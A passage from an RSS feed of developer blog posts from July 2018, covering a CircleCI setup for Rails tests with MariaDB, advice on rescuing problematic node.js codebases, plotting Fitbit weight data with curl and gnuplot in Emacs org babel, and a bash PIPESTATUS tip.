&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_DATABASE&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"app_test"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_USER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"root"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_ALLOW_EMPTY_PASSWORD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MYSQL_HOST&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"localhost"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="nt"&gt;jobs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Install ruby dependencies"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bundle install --path vendor/bundle"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Install js dependencies"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yarn install"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Wait for database to be available"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"dockerize -wait tcp://127.0.0.1:3306 -timeout 1m"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Setup database"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bundle exec rake db:setup"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;- &lt;span class="nt"&gt;run&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Run tests"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;command&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"bundle exec rspec"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;May your test runs always be green and your bugs be squished.&lt;/p&gt;</description><author>Caius Theory</author><pubDate>Wed, 11 Jul 2018 21:30:00 GMT</pubDate><guid isPermaLink="true">https://caiustheory.com/running-rails-tests-under-circleci-2.0-with-mariadb/</guid></item><item><title>Testing Pull Requests with React Native</title><link>https://www.umarniz.com/testing-pull-requests-with-react-native/</link><description>Early last year, we at Sense Health decided to move all future mobile development to React Native. With a clear ambition to improve the…</description><author>Umar Nizamani | RSS Feed</author><pubDate>Wed, 11 Jul 2018 13:22:07 GMT</pubDate><guid isPermaLink="true">https://www.umarniz.com/testing-pull-requests-with-react-native/</guid></item><item><title>The Art of the node.js Rescue</title><link>https://peterlyons.com/problog/2018/07/the-art-of-the-node-js-rescue/</link><description>&lt;p&gt;I've recently been helping a client get their node.js mobile back end API server ready to launch a new service. In this post I'll outline the guidelines I use when I'm brought in to true-up a problematic node.js codebase.&lt;/p&gt;
&lt;h2 id="first-triage-and-repair-server-basics"&gt;First, triage and repair server basics&lt;/h2&gt;
&lt;p&gt;Before any real rescue efforts can happen, I need to work through the fundamental issues and get up to a bare minimum of a working project and service.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is the code even in a git repository?&lt;/strong&gt; I've only encountered the "here's the zip file the previous agency delivered" once, but step one is get the existing codebase without any new modifications into an initial git commit and get it pushed to a git host.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does it have documentation?&lt;/strong&gt; Can a new developer get from &lt;code&gt;git clone&lt;/code&gt; to a running server using just the README (no slack allowed!)? If not, I have to reverse engineer that and document it in the README as I figure it out. As I come to understand the basic software stack, third party service integrations, deployment setup, etc, all that gets documented.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Are the dependencies accurately tracked?&lt;/strong&gt;
Usually they are but if not I fix &lt;code&gt;package.json&lt;/code&gt; and generate a new &lt;code&gt;packge-lock.json&lt;/code&gt; as necessary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does the server start and run?&lt;/strong&gt; If not, I need to get to that milestone. Even though this sounds like a basic thing any project would have starting at minute 4 of its lifetime, in my experience many node projects get carried away with bullshit fancy code to handle configuration, clustering, process supervision, fancy logging setups, etc, and often that code is misguided or just flat out broken.&lt;/p&gt;
&lt;p&gt;OK if the server will start and listen for HTTP requests, I can switch into my normal course of treatment to get it functioning well.&lt;/p&gt;
&lt;h2 id="automated-unit-tests-are-the-foundation"&gt;Automated unit tests are the foundation&lt;/h2&gt;
&lt;p&gt;The next phase is setting up a good automated unit test stack. These days I reach for &lt;code&gt;tap&lt;/code&gt;, &lt;code&gt;supertest&lt;/code&gt;, and &lt;code&gt;nock&lt;/code&gt; as my first choice libraries. Here are the important points to achieve:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Unit tests should run locally&lt;/li&gt;
&lt;li&gt;Tests should be fast and deterministic&lt;/li&gt;
&lt;li&gt;Running partial sets of tests at any granularity should be straightforward&lt;/li&gt;
&lt;li&gt;Tests should be runnable under the devtools debugger&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The main bit of work is finding the right set of libraries, helper functions, and setup/teardown code that make sense for the service. I usually test the HTTP interface via &lt;code&gt;supertest&lt;/code&gt; because the code to call an API endpoint via supertest is concise enough to be basically in the same category as just calling a function with arguments. Since the tests are coded against the same stable API interface that the web or mobile front ends use, this is a stable integration point and I can typically overhaul or rewrite an endpoint implementation without changing its HTTP interface. Usually API endpoints are not that much code, but if you do have a really complex endpoint, go ahead and write unit tests for the various internal implementation functions.&lt;/p&gt;
&lt;p&gt;Once the tests are working locally, I'll set up continuous integration so they work on pull requests and are integrated into github.&lt;/p&gt;
&lt;h3 id="why-automated-unit-tests"&gt;Why automated unit tests?&lt;/h3&gt;
&lt;p&gt;If I put on my cynical hat for a moment, I could sum up the bulk of my consultancy as "I come in after non-unit-testing developers and get their code working by writing tests". Yes, that's a cynical characterization but there's a kernel of painful truth there.&lt;/p&gt;
&lt;p&gt;JavaScript as a language has near-zero support for writing correct programs. It allows and encourages us to write code that does not get even the most basic analysis for correctness. On a typical low-quality node.js server codebase, about the only guarantee likely to actually be upheld is that every file in the require dependency graph is syntactically valid javascript, and absolutely nothing beyond that is guaranteed. ReferenceErrors and TypeErrors are almost guaranteed to exist in large quantity. There's a plague of code out there crashing in production that was clearly never run: not on the developer's laptop, not in CI, no one tested it in QA. First execution is on the production server crashing when triggered by an end user.&lt;/p&gt;
&lt;p&gt;Putting on my less-cynical hat, I mostly still believe a well-tested node.js codebase is something you can reasonably deliver to a client, and you can point to some pragmatic realities it offers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Large set of developers able to work with it&lt;/li&gt;
&lt;li&gt;Enormous ecosystem of available libraries&lt;/li&gt;
&lt;li&gt;Good to great speed of developing features&lt;/li&gt;
&lt;li&gt;Good to great performance at runtime&lt;/li&gt;
&lt;li&gt;Excellent tooling throughout the software development lifecycle&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, these &lt;strong&gt;only&lt;/strong&gt; hold true if you have solid test coverage. Untested javascript is such a massive liability and a terrible-odds gamble that I think we as a community working with this technology stack need to take a hard and clear stance and make the following statement:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Untested javascript is not a viable deliverable for professional software development.&lt;/strong&gt; Viable professional javascript &lt;strong&gt;must&lt;/strong&gt; be delivered with extensive tests.&lt;/p&gt;
&lt;p&gt;Untested javascript is just incredibly likely to be rife with bugs and comes with enormous cost and risk to any refactoring. As agencies, consultants, and employees we need to stop delivering it. Clients need to be educated to insist on a working automated test suite running in a continuous integration system as a baseline deliverable. I would say this is analogous to a plumber leaving a job without ever having put running water through the system.&lt;/p&gt;
&lt;h2 id="establishing-patterns-and-antipatterns"&gt;Establishing Patterns and Antipatterns&lt;/h2&gt;
&lt;p&gt;A node server codebase lends itself to boilerplatey patterns repeated across a lot of endpoints. I generally set up a dedicated set of example routes to establish the new, correct code patterns with good examples. These of course have full unit test coverage and the idea is to have clean patterns for input validation, control flow, error handling, logging, etc.&lt;/p&gt;
&lt;p&gt;There are also usually repeated antipatterns. Of course, a well-applied middleware could potentially eliminate a whole class of boilerplate, so that's the ideal target, but often times I find little micro-antipatterns in how the DB is queried or promises are used, etc. I code up examples that illustrate how these are broken and point to the corrected patterns that should be applied when making changes to particular endpoints.&lt;/p&gt;
&lt;h2 id="tracking-and-fixing-bugs"&gt;Tracking and fixing bugs&lt;/h2&gt;
&lt;p&gt;Once the unit testing stack is solid, I begin the main phase of the real work here which is going through the API endpoints and identifying where the bugs and issues are. The unit tests are the guide here and the work should be prioritized using whatever information is available. Focus on the high-importance or high-frequency API calls first and leave the ancillary and supporting calls until later.&lt;/p&gt;
&lt;p&gt;The key tools for this include basic logging, a bug tracking tool, and optionally an error tracking service such as Sentry. The process loop I will repeat many times in this phase will look more or less as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Identify a potential bug via an error in the log file, a server crash with stack trace, or a specific API response that is known to be incorrect&lt;/li&gt;
&lt;li&gt;File a bug for the issue in the bug tracker with the relevant details so it can be understood and reproduced&lt;/li&gt;
&lt;li&gt;Reproduce the failure in a unit test. Be sure to do this before making any changes to the relevant application code.&lt;/li&gt;
&lt;li&gt;Once reproduced in a failing test, code a fix for the issue&lt;/li&gt;
&lt;li&gt;Guide the fix through delivery and mark as resolved&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="resist-the-temptation-to-rewrite-and-overhaul"&gt;Resist the temptation to rewrite and overhaul&lt;/h2&gt;
&lt;p&gt;When faced with a nasty codebase, one may feel discomfort, frustration, and anxiety about the state of the code. These feelings can make the following things really tempting:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Start a new codebase entirely&lt;/li&gt;
&lt;li&gt;Bulk update all the dependencies to latest&lt;/li&gt;
&lt;li&gt;Update to the latest node.js and npm&lt;/li&gt;
&lt;li&gt;Do some drastic modification across the entire codebase&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;My advice here is to resist this temptation. All of these activities I think serve the developer's emotions at the expense of value to the client.&lt;/p&gt;
&lt;p&gt;A rewrite discards any latent value in the codebase and forces the client to pay again from scratch for development of the functionality of the server. In extreme cases, this can be the only reasonable way forward, but 98% of the time the codebase can be salvaged. If you make a recommendation to your client to rewrite, make sure you have a compelling cost/benefit analysis. And on the other side, be aware of how the sunk cost fallacy can factor in your decision to continue with an existing codebase. Of course, if you do need to make a recommendation to the client to embark on a rewrite, prepare a thorough case study of how specifically the first attempt failed and how each of those failures will be specifically avoided in the rewrite.&lt;/p&gt;
&lt;p&gt;The goal of this type of rescue is to make the software stable and reliable. Just bulk updating all the dependencies is almost certainly going introduce novel bugs and work counter to that goal. It's fine to update specific and particular dependencies when you have a concrete reason to do so, but just updating things in bulk for general "hygiene" is not appropriate in this situation, and without solid unit tests, you have no indication what has continued to work, continued to be broken, been fixed, or been broken in a novel way.&lt;/p&gt;
&lt;p&gt;The same logic applies to updating the node.js version. Until you have a substantial set of unit tests, it's totally in conflict with the project goals to do this.&lt;/p&gt;
&lt;p&gt;As you add unit tests and increase code coverage, at some point it becomes safer to make broad updates and changes. Exactly where that point is at is a judgement call, but I recommend being conservative here, erring on the side of more tests.&lt;/p&gt;
&lt;h2 id="code-autoformatting-tools"&gt;Code autoformatting tools&lt;/h2&gt;
&lt;p&gt;I'm a huge fan of autoformatting tools (&lt;code&gt;prettier&lt;/code&gt;, &lt;code&gt;eslint --fix&lt;/code&gt;, etc) and they've become pretty core to how I work. I don't worry about formatting issues when I'm actually typing code, I just hit &lt;code&gt;cmd+f&lt;/code&gt; and trust it to make the code pretty.&lt;/p&gt;
&lt;p&gt;However, on an existing codebase that has not been using an autoformatter, I recommend caution. I would wait until automated unit test coverage is fairly high before considering running autoformatting across an entire codebase. And when doing so, be aware that this will essentially discard the existing git history and lose track of who wrote which code when (git blame, etc). This is a pretty steep trade-off. I personally don't value git history that much so I have my own point where I'm OK running an autoformatter on a whole codebase, just be sure to understand the trade-offs when making this decision.&lt;/p&gt;
&lt;p&gt;If you do have valuable history in git that you don't want to mess up, another strategy to consider is file-by-file extraction of code into a set that is autoformatted and a set that is left untouched.&lt;/p&gt;
&lt;h2 id="linting"&gt;Linting&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;eslint&lt;/code&gt; and particularly &lt;a href="https://www.npmjs.com/package/eslint-stats"&gt;eslint-stats&lt;/a&gt; can be helpful guides. However, due to concerns about adding bugs in untested code, I don't recommend changing the code based on eslint warnings/errors until after you have unit tests coverage. These can help identify troublesome areas in the code, but don't go into the codebase and fix eslint issues throughout without unit test coverage.&lt;/p&gt;
&lt;h2 id="a-side-note-about-promises"&gt;A side note about promises&lt;/h2&gt;
&lt;p&gt;Async control flow in node.js is hard. It's hard enough that many developers never really learn to write it correctly. This is true both in the callback paradigm and with promises as well. However, promises in particular seem to be an area of pervasive misuse and misunderstanding. Every node.js codebase I've found that uses promises has incorrect promise usage baked into core patterns and then repeatedly copied throughout the codebase. As a community, we really missed the mark with promises when it comes to education and tooling. Even with the eslint promise plugin, there's a huge number of issues that are plain as day to me and no eslint plugin I've found even detects them as warnings. I'm optimistic that as &lt;code&gt;async/await&lt;/code&gt; takes over as the basic mechanism for async control flow, things will improve for the easy case of a series of sequential operations. However, I think we'll still have a mess to deal with for any case with looping or complex control flow patterns.&lt;/p&gt;
&lt;h2 id="node-js-rescue-checklist"&gt;node.js rescue checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Get the code into a git repository&lt;/li&gt;
&lt;li&gt;Document key processes in the README
&lt;ul&gt;
&lt;li&gt;Initial developer setup&lt;/li&gt;
&lt;li&gt;Standard development task flow&lt;/li&gt;
&lt;li&gt;Overview of tech stack, deployment, integrations&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ensure dependencies are properly tracked and documented&lt;/li&gt;
&lt;li&gt;Ensure the server starts and runs&lt;/li&gt;
&lt;li&gt;Establish a core unit testing stack&lt;/li&gt;
&lt;li&gt;Get tests running in CI&lt;/li&gt;
&lt;li&gt;Set up logging and maybe an error tracking service&lt;/li&gt;
&lt;li&gt;Set up code coverage reports&lt;/li&gt;
&lt;li&gt;Set up linting&lt;/li&gt;
&lt;li&gt;Track bugs in a bug tracker&lt;/li&gt;
&lt;li&gt;Reproduce bugs in unit tests&lt;/li&gt;
&lt;li&gt;Add unit tests to get substantial code coverage&lt;/li&gt;
&lt;li&gt;Set up autoformatting&lt;/li&gt;
&lt;/ul&gt;</description><author>Pete's Points</author><pubDate>Wed, 11 Jul 2018 07:53:53 GMT</pubDate><guid isPermaLink="true">https://peterlyons.com/problog/2018/07/the-art-of-the-node-js-rescue/</guid></item><item><title>fitbit API, org babel, and gnuplot</title><link>https://xenodium.com/fitbit-api-org-babel-and-gnuplot</link><description>&lt;p&gt;Retook running recently. Took the dust off my aria scale and used the opportunity to check out fitbit's API.&lt;/p&gt;
&lt;p&gt;First register your app at &lt;a href="https://dev.fitbit.com/apps/new"&gt;dev.fitbit.com/apps/new&lt;/a&gt; and get a client_id=AABBCC.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/fitbit-api-org-babel-and-gnuplot/fitbitapp.png" /&gt;&lt;/p&gt;
&lt;p&gt;You'll also need your USER_ID, from your Fitbitx user profile.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/fitbit-api-org-babel-and-gnuplot/fitbituser.png" /&gt;&lt;/p&gt;
&lt;p&gt;We'll also need a token. I used the &lt;a href="https://dev.fitbit.com/build/reference/web-api/oauth2/"&gt;implicit grant flow&lt;/a&gt; URL in my browser and extracted access_token=TOKEN.&lt;/p&gt;
&lt;p&gt;Now let's wire up two org source blocks to fetch the data and subsequently plot using gnuplot.&lt;/p&gt;
&lt;p&gt;It's pretty neat. You can take the output from one source block and use it as input to another.&lt;/p&gt;
&lt;p&gt;We use curl to fetch data from fitbit's API and pipe through &lt;a href="https://stedolan.github.io/jq/"&gt;jq&lt;/a&gt; and sed to massage the output format into two columns.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Before using gnuplot in org babel, you'll need to install the gnuplot package and add to babel languages.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(use-package gnuplot :ensure t)

(use-package ob
  :config
  (org-babel-do-load-languages
   'org-babel-load-languages
   '((gnuplot . t))))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class="language-{#weight-data"&gt;curl -s -H &amp;quot;Authorization: Bearer TOKEN&amp;quot; https://api.fitbit.com/1/user/USER_ID/body/weight/date/2018-06-09/2018-07-11.json | jq '.[][] | &amp;quot;\(.dateTime) \(.value)&amp;quot;' | sed 's/&amp;quot;//g'
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;p&gt;2018-06-09   65.753
2018-06-10   65.762
2018-06-11   65.771
2018-06-12   65.78
2018-06-13   65.789
2018-06-14   65.798
2018-06-15   65.807
2018-06-16   65.816
2018-06-17   65.825
2018-06-18   65.85
2018-06-19   65.96
2018-06-20   64.1
2018-06-21   65.64
2018-06-22   65.47
2018-06-23   65.515
2018-06-24   65.56
2018-06-25   65.605
2018-06-26   65.65
2018-06-27   65.18
2018-06-28   64.49
2018-06-29   64.49
2018-06-30   64.41
2018-07-01   64.33
2018-07-02   64.25
2018-07-03   64.17
2018-07-04   64.55
2018-07-05   64.39
2018-07-06   64.33
2018-07-07   65.06
2018-07-08   63.28
2018-07-09   63.4
2018-07-10   64.22
2018-07-11   63.95&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Now feed the two column data to gnuplot.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.gnuplot"&gt;reset
set title &amp;quot;My recent weight&amp;quot;
set xdata time
set timefmt '%Y-%m-%d'
set format x &amp;quot;%d/%m/%y&amp;quot;
set term png
set xrange ['2018-06-09':'2018-07-11']
plot data u 1:2 with linespoints title 'Weight in Kg'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/fitbit-api-org-babel-and-gnuplot/weight.png" /&gt;&lt;/p&gt;
&lt;p&gt;Fetching data and plotting through org babel and gnuplot is pretty sweet. I've barely scratched the surface. There's more at &lt;a href="https://orgmode.org/worg/org-contrib/babel/languages/ob-doc-gnuplot.html"&gt;Org-babel-gnuplot&lt;/a&gt; and &lt;a href="https://orgmode.org/worg/org-tutorials/org-plot.html"&gt;Plotting tables in Org-Mode using org-plot&lt;/a&gt;. Either way, this is another Emacs super power to keep in the toolbox.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 11 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/fitbit-api-org-babel-and-gnuplot</guid></item><item><title>Behind the syntax: let and const variables</title><link>https://daniel.do/article/behind-es6s-syntax-changes-let-and-const</link><description>There is a lot more going under the hood than simple syntax changes.</description><author>Daniel Immke</author><pubDate>Wed, 11 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://daniel.do/article/behind-es6s-syntax-changes-let-and-const</guid></item><item><title>In praise of modular, "good enough" computing</title><link>https://stop.zona-m.net/2018/07/in-praise-of-modular-good-enough-computing/</link><description>&lt;p&gt;Here are the key concepts of a great white paper.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Tue, 10 Jul 2018 21:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/in-praise-of-modular-good-enough-computing/</guid></item><item><title>THIS is the right way to build and buy computers</title><link>https://stop.zona-m.net/2018/07/this-is-the-right-way-to-build-and-buy-computers/</link><description>&lt;p&gt;Have you ever had to replace a whole computer for NO real reason? Look at this project then.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 09 Jul 2018 13:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/07/this-is-the-right-way-to-build-and-buy-computers/</guid></item><item><title>Please carry water with you at all time</title><link>https://yasha.solutions/please-carry-water-with-you-at-all-time/</link><description>Whoever wrote that rock!</description><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:57:56 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/please-carry-water-with-you-at-all-time/</guid></item><item><title>Toi Moi et vous</title><link>https://yasha.solutions/toi-moi-et-vous/</link><description/><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:54:06 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/toi-moi-et-vous/</guid></item><item><title>The phone is the end of social life</title><link>https://yasha.solutions/the-phone-is-the-end-of-social-life/</link><description/><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:35:29 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/the-phone-is-the-end-of-social-life/</guid></item><item><title>How to use the internet safely</title><link>https://yasha.solutions/how-to-use-the-internet-safely/</link><description/><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:33:37 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/how-to-use-the-internet-safely/</guid></item><item><title>Just your regular laptop in the 50s</title><link>https://yasha.solutions/just-your-regular-laptop-in-the-50s/</link><description>btw, if somebody have context on this popular image, I’d love to hear about it</description><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:29:49 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/just-your-regular-laptop-in-the-50s/</guid></item><item><title>HTML vs CSS</title><link>https://yasha.solutions/html-vs-css/</link><description/><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:27:52 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/html-vs-css/</guid></item><item><title>TODO – Done</title><link>https://yasha.solutions/todo-done/</link><description>By Monkeyuser</description><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:26:45 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/todo-done/</guid></item><item><title>Cheap vs Fast vs Good</title><link>https://yasha.solutions/cheap-vs-fast-vs-good/</link><description>Because you cannot have it all</description><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:20:58 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/cheap-vs-fast-vs-good/</guid></item><item><title>automating the bad things dont make them any better</title><link>https://yasha.solutions/automating-the-bad-things-dont-make-them-any-better/</link><description>#automation #tech #goodone</description><author>Yasha Solutions</author><pubDate>Mon, 09 Jul 2018 02:14:27 GMT</pubDate><guid isPermaLink="true">https://yasha.solutions/automating-the-bad-things-dont-make-them-any-better/</guid></item><item><title>The Federalist Papers: author identification through K-means clustering</title><link>https://blog.jonlu.ca/posts/the-federalist-papers-author-identification-through-k-means-clustering</link><description/><author>JonLuca's Blog</author><pubDate>Sun, 08 Jul 2018 05:06:19 GMT</pubDate><guid isPermaLink="true">https://blog.jonlu.ca/posts/the-federalist-papers-author-identification-through-k-means-clustering</guid></item><item><title>PIPESTATUS for all return codes</title><link>https://xenodium.com/pipestatus-for-all-return-codes</link><description>&lt;p&gt;From &lt;a href="https://twitter.com/saruspete"&gt;@saruspete&lt;/a&gt;'s &lt;a href="https://twitter.com/saruspete/status/1014801074794979335?s=12"&gt;tweet&lt;/a&gt;, ${PIPESTATUS[@]} gives ya all piped commands' return codes:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;echo foo | grep bar | tr z a | cat
echo ${PIPESTATUS[@]}
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 Jul 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/pipestatus-for-all-return-codes</guid></item><item><title>Human memory bookmarks</title><link>https://xenodium.com/human-memory-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://augmentingcognition.com/ltm.html"&gt;Augmenting Long-term Memory (Michael Nielsen)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ludism.org/mentat/"&gt;Ludism's memory techniques&lt;/a&gt;.&lt;/li&gt;
